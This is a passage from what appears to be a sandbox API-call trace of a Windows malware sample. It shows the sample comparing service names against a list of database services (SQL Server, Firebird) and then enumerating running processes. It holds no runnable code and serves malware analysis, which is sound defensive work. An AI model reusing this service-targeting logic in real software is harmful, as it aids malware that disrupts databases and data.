lpString2="RpcEptMapper") returned 1 [0064.901] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0064.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0064.901] lstrlenW (lpString="RpcSs") returned 5 [0064.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0064.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0064.901] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0064.901] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0064.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0064.901] lstrlenW (lpString="SamSs") returned 5 [0064.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0064.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0064.901] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0064.901] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0064.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0064.901] lstrlenW (lpString="Schedule") returned 8 [0064.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0064.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0064.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0064.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0064.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0064.901] lstrlenW (lpString="SecurityHealthService") returned 21 [0064.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0064.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0064.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0064.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0064.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0064.902] lstrlenW (lpString="SENS") returned 4 [0064.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0064.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0064.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0064.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0064.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0064.902] lstrlenW (lpString="ShellHWDetection") returned 16 [0064.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.902] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0064.902] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0064.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0064.902] lstrlenW (lpString="Spooler") returned 7 [0064.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0064.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0064.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0064.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0064.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0064.902] lstrlenW (lpString="SSDPSRV") returned 7 [0064.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0064.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0064.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0064.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0064.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0064.902] lstrlenW (lpString="StateRepository") returned 15 [0064.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0064.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0064.902] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0064.903] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0064.903] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7010e0 | out: hHeap=0x6a0000) returned 1 [0064.903] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0065.101] Process32FirstW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.102] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0065.103] lstrlenW (lpString="System") returned 6 [0065.103] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0065.104] lstrlenW (lpString="smss.exe") returned 8 [0065.104] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.105] lstrlenW (lpString="csrss.exe") returned 9 [0065.105] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0065.105] lstrlenW (lpString="wininit.exe") returned 11 [0065.105] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.106] lstrlenW (lpString="csrss.exe") returned 9 [0065.106] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0065.107] lstrlenW (lpString="winlogon.exe") returned 12 [0065.107] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0065.108] lstrlenW (lpString="services.exe") returned 12 [0065.108] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0065.110] lstrlenW (lpString="lsass.exe") returned 9 [0065.110] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.111] lstrlenW (lpString="svchost.exe") returned 11 [0065.111] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0065.111] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0065.111] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0065.112] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0065.112] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.113] lstrlenW (lpString="svchost.exe") returned 11 [0065.113] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0065.114] lstrlenW (lpString="dwm.exe") returned 7 [0065.114] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.115] lstrlenW (lpString="svchost.exe") returned 11 [0065.115] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.115] lstrlenW (lpString="svchost.exe") returned 11 [0065.116] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.116] lstrlenW (lpString="svchost.exe") returned 11 [0065.116] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.117] lstrlenW (lpString="svchost.exe") returned 11 [0065.117] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.118] lstrlenW (lpString="svchost.exe") returned 11 [0065.118] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.119] lstrlenW (lpString="svchost.exe") returned 11 [0065.119] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.120] lstrlenW (lpString="svchost.exe") returned 11 [0065.120] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.121] lstrlenW (lpString="svchost.exe") returned 11 [0065.121] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.121] lstrlenW (lpString="svchost.exe") returned 11 [0065.122] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0065.122] lstrlenW (lpString="spoolsv.exe") returned 11 [0065.122] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.123] lstrlenW (lpString="svchost.exe") returned 11 [0065.123] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.124] lstrlenW (lpString="svchost.exe") returned 11 [0065.124] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0065.125] lstrlenW (lpString="audiodg.exe") returned 11 [0065.125] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0065.126] lstrlenW (lpString="sihost.exe") returned 10 [0065.126] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.127] lstrlenW (lpString="svchost.exe") returned 11 [0065.127] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0065.128] lstrlenW (lpString="taskhostw.exe") returned 13 [0065.128] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0065.129] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0065.129] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0065.130] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0065.130] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0065.130] lstrlenW (lpString="explorer.exe") returned 12 [0065.130] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0065.131] lstrlenW (lpString="Memory Compression") returned 18 [0065.131] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0065.132] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0065.132] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0065.133] lstrlenW (lpString="SearchUI.exe") returned 12 [0065.133] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0065.134] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0065.134] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0065.135] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0065.135] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0065.136] lstrlenW (lpString="taskhostw.exe") returned 13 [0065.136] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0065.137] lstrlenW (lpString="UsoClient.exe") returned 13 [0065.137] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0065.137] lstrlenW (lpString="taskhostw.exe") returned 13 [0065.137] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0065.138] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0065.138] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0065.139] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0065.139] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0065.515] lstrlenW (lpString="msoia.exe") returned 9 [0065.515] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0065.516] lstrlenW (lpString="msoia.exe") returned 9 [0065.516] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0065.517] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0065.517] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0065.518] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0065.518] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0065.519] lstrlenW (lpString="xml-upper.exe") returned 13 [0065.519] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0065.520] lstrlenW (lpString="defeat preston.exe") returned 18 [0065.520] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0065.521] lstrlenW (lpString="surveillance.exe") returned 16 [0065.521] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0065.522] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0065.522] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0065.522] lstrlenW (lpString="deemed.exe") returned 10 [0065.523] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0065.523] lstrlenW (lpString="scored-prices.exe") returned 17 [0065.523] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0065.524] lstrlenW (lpString="understood.exe") returned 14 [0065.524] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0065.525] lstrlenW (lpString="lee.exe") returned 7 [0065.525] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0065.526] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0065.526] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0065.527] lstrlenW (lpString="romandisclosure.exe") returned 19 [0065.527] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0065.528] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0065.528] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, 